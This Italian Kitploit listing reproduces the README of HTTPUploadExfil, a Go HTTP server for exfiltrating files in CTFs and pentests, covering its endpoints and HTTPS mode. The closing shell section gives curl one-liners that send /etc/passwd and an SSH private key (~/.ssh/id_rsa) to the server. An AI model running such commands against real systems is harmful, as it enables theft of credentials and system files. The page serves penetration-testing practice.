Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
HTTPUploadExfil — Un semplice server HTTP per consegnare ed esfiltrare file/dati durante, ad esempio, CTF. | Kitploit
Strumenti/GitHubGitHub/ingokl/httpuploadexfil
Esfiltrazione DatiSicurezza WebCTFPenetration Testing
GitHubingokl/httpuploadexfil

HTTPUploadExfil

Un semplice server HTTP per consegnare ed esfiltrare file/dati durante, ad esempio, CTF.

Vedi Repository
82181 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

HTTPUploadExfil

HTTPUploadExfil Logo

MIT License GitHub stars

HTTPUploadExfil è un server HTTP (molto) semplice scritto in Go, utile per estrarre file (e altre informazioni) da una macchina tramite HTTP. Sebbene ci siano molti casi d'uso, è pensato per essere utilizzato in scenari offensivi a basso rischio (es. CTF).

Pensalo come python3 -m http.server ma per prelevare dati da una macchina invece di caricarli.

Ovviamente, questo è un modo molto rumoroso e in qualche modo limitato di esfiltrare dati. Tuttavia, è abbastanza comodo e un po' più facile rispetto, ad esempio, all'uso di SMB o FTP. Se cerchi qualcosa di più elegante, dai un'occhiata, per esempio, a dnsteal o PyExfil.

TL;DR

  1. Compila lo strumento con go build.
  2. Esegui ./httpuploadexfil :1337 /home/kali/loot sulla tua macchina.
  3. Accedi a http://YOUR_IP:1337/ sulla macchina da cui devi esfiltrare dati.
  4. Trova i file caricati in /home/kali/loot.

Se hai bisogno di HTTPs, guarda le informazioni qui sotto.

Puoi anche scaricare i binari per Linux e Windows da GitHub. Tuttavia, questi binari non rappresentano necessariamente le modifiche più recenti.

Compilazione e sviluppo

Sebbene siano disponibili binari, è assolutamente consigliato compilarlo da soli. In questo modo avrai la versione più recente e saprai esattamente cosa stai eseguendo. Il processo è banale:

Basta eseguire go build all'interno della cartella e otterrai un eseguibile httpuploadexfil per la tua piattaforma.

Se apporti modifiche allo strumento, ricordati di formattare con go fmt main.go.

In alternativa, puoi anche usare make per compilare lo strumento. Puoi anche eseguire make cert per generare certificati SSL (vedi sotto).

Utilizzo

Il caso d'uso più comune è eseguire il server sulla Macchina A. Quindi, sulla Macchina B accedi al modulo di upload tramite un browser e seleziona un file da esfiltrare. Ovviamente, come puoi vedere sotto, questo può essere fatto anche usando, ad esempio, curl.

Oltre a caricare file, puoi anche usare HTTPUploadExfil per esfiltrare dati tramite semplici richieste GET. Se una richiesta viene inviata all'endpoint \g, l'intera richiesta viene salvata su disco.

Quindi, puoi esfiltrare dati usando l'intestazione della richiesta. È più semplice usare i parametri GET (es. ?data=...), ma ci sono altre opzioni.

HTTPUploadExfil

Per impostazione predefinita, HTTPUploadExfil viene servito sulla porta 8080. Tutti i file vengono scritti nella directory corrente.

./httpuploadexfil

Puoi anche fornire alcuni argomenti:

./httpuploadexfil :1337 /home/kali/loot

Se hai bisogno del logging delle richieste, passa il flag -log in questo modo:

./httpuploadexfil -log

Il primo argomento è un indirizzo di bind, il secondo è la cartella in cui salvare i file.

Lo strumento esporrà anche i file nella directory loot tramite l'endpoint /l. Questo può essere usato come un modo semplice per portare file sulla macchina di destinazione.

Endpoint

Il webserver espone quattro endpoint che puoi utilizzare:

  1. / (GET) è il modulo di upload.
  2. /p (POST) riceve i dati dal modulo di upload. Richiede una richiesta multipart/form-data con il campo file compilato.
  3. /g (GET) accetta qualsiasi richiesta GET e salva l'intera richiesta sul server.
  4. /l (GET) fornisce accesso ai file nella cartella specificata (Directory Listing). Questo serve per fornire la funzionalità base di python3 -m http.server.

Modalità HTTPs

HTTPUploadExfil può essere utilizzato anche in modalità HTTPs. Per farlo, basta posizionare i file HTTPUploadExfil.csr e HTTPUploadExfil.key accanto al binario. Possono essere generati, ad esempio, come segue:

root@kitploit:~
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr

Per farlo, puoi anche eseguire make cert.

Se il server vede un file HTTPUploadExfil.csr, proverà ad avviarsi in modalità HTTPs. Per tornare a HTTP, basta rimuovere o rinominare i file del certificato.

Shell

Usando Bash, possiamo esfiltrare dati tramite GET, ad esempio:

echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g

Ovviamente, possiamo anche usare curl per esfiltrare file:

curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p

Da fare

  • Implementare una versione HTTPs (cifratura del trasporto)
  • Aggiungere opzione di download (cioè fornire funzionalità python3 -m http.server)
  • Aggiungere funzionalità di logging per le richieste
  • Sistema di build (specialmente cross-compilazione per Windows e Linux)
Scarica lo strumento